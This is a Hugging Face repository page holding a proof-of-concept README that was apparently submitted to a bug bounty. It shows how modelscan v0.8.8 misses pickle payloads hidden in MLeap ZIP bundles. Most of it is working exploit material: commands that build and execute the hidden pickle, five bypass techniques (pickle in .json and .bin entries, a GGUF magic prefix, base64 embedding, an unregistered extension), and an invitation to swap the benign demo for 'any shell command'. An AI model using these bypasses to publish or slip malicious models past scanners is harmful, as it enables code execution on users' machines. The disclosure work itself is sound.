Downloads · 30 days
0
hoanghai2110/mleap-modelscan-bypass-poc
mleap-modelscan-bypass-poc is a machine learning model from hoanghai2110. Use it for the machine learning task on the model card, and read the license before you ship it in a product. The card lists the license as mit.
Security Research | ProtectAI modelscan v0.8.8 | MLeap (.zip/.mleap bundle format) Submitted to: https://huntr.com/bounties/disclose/models?target=MLeap
Downloads · 30 days
0
Access
Public
Updated Jun 28, 2026
Repo size
7 KB
Likes
0
Public
Click a slice to open those files.
.py15.8 KB · 53%
From the Hugging Face model README
Security Research | ProtectAI modelscan v0.8.8 | MLeap (.zip/.mleap bundle format)
Submitted to: https://huntr.com/bounties/disclose/models?target=MLeap
modelscan v0.8.8 selects its scanner engine based purely on file extension, not content magic bytes.
A MLeap bundle (ZIP file) containing raw Python pickle bytes inside a .json or .bin entry passes scanning with "No issues found!" — while carrying an executable payload.
This allows an attacker to publish a malicious MLeap model to HuggingFace that passes all ProtectAI scanner checks undetected.
# 1. Install modelscan
pip install modelscan==0.8.8
# 2. Clone this repo
git clone https://huggingface.co/hoanghai2110/mleap-modelscan-bypass-poc
cd mleap-modelscan-bypass-poc
# 3. Scan the malicious bundle — EXPECTED: "No issues found!"
modelscan -p payloads/poc_scanner_bypass_hidden_pickle.zip
# 4. Confirm pickle payload IS present inside the "safe" file
python3 -c "
import zipfile
with zipfile.ZipFile('payloads/poc_scanner_bypass_hidden_pickle.zip') as z:
data = z.read('root/metadata.json')
print(f'metadata.json first 4 bytes: {data[:4].hex()}')
print(f'Is pickle (0x80 PROTO opcode): {data[0] == 0x80}')
print(f'Payload size: {len(data)} bytes')
"
# Output:
# metadata.json first 4 bytes: 8004955c
# Is pickle (0x80 PROTO opcode): True
# Payload size: 103 bytes
# 5. Execute the hidden payload (ACE demonstration)
python3 -c "
import zipfile, pickle
with zipfile.ZipFile('payloads/poc_scanner_bypass_hidden_pickle.zip') as z:
pickle.loads(z.read('root/metadata.json'))
"
# Result: /tmp/mleap_pwned created
| File | Bypass Technique | modelscan v0.8.8 Result |
|---|---|---|
payloads/poc_scanner_bypass_hidden_pickle.zip | Pickle in .json + .bin entries | ✅ No issues found! |
payloads/poc_scanner_bypass_gguf_prefix.zip | GGUF magic prefix breaks ZIP detection | ✅ No issues found! |
payloads/poc_scanner_bypass_b64.zip | Pickle embedded in base64 JSON field | ✅ No issues found! |
payloads/poc_scanner_bypass_polyglot.mleap | Unknown .mleap extension — no scanner | ✅ No issues found! |
payloads/poc_scanner_bypass_nullbyte.zip | Double extension .json.pkl | ❌ Detected (control) |
modelscan routes scanner selection by file extension:
.pkl → PickleUnsafeOpScan ✅ (detects pickle)
.pt → PyTorchUnsafeOpScan ✅ (detects PyTorch pickle)
.bin → PyTorchUnsafeOpScan ⚠️ (WRONG scanner — misses raw pickle)
.json → (skipped entirely) ❌ (no scanner for JSON)
.mleap→ (no scanner registered)❌ (unknown ext = 0 checks)
A MLeap bundle's internal ZIP entries include metadata.json, model.json, model.bin — all bypassed.
Bypass 1 — .json extension:
root/metadata.json contains \x80\x04\x95... (pickle PROTO opcode)Bypass 2 — .bin wrong scanner:
root/scaler_0.node/model.bin contains raw pickle bytesPyTorchUnsafeOpScan (checks for PyTorch-specific class names)os.system pickle does NOT use PyTorch classes → not detectedBypass 3 — GGUF magic prefix:
GGUF\x03\x00\x00\x00... (24 bytes) followed by valid ZIP datazipfile reads from end-of-central-directory → opens ZIP successfullyPK\x03\x04) → skips all entries$ modelscan -p payloads/poc_scanner_bypass_hidden_pickle.zip
Scanning ...model.bin using modelscan.scanners.PyTorchUnsafeOpScan model scan
--- Summary ---
No issues found! 🎉
--- Skipped ---
Total skipped: 8
Scanner skipped 8 entries including root/metadata.json (103-byte pickle payload).
poc_scanner_bypass.py — generates all bypass bundles from scratch:
python3 poc_scanner_bypass.py
# Outputs 5 PoC bundles in ./payloads/
Payload used: touch /tmp/mleap_pwned (benign demo — replace with any shell command).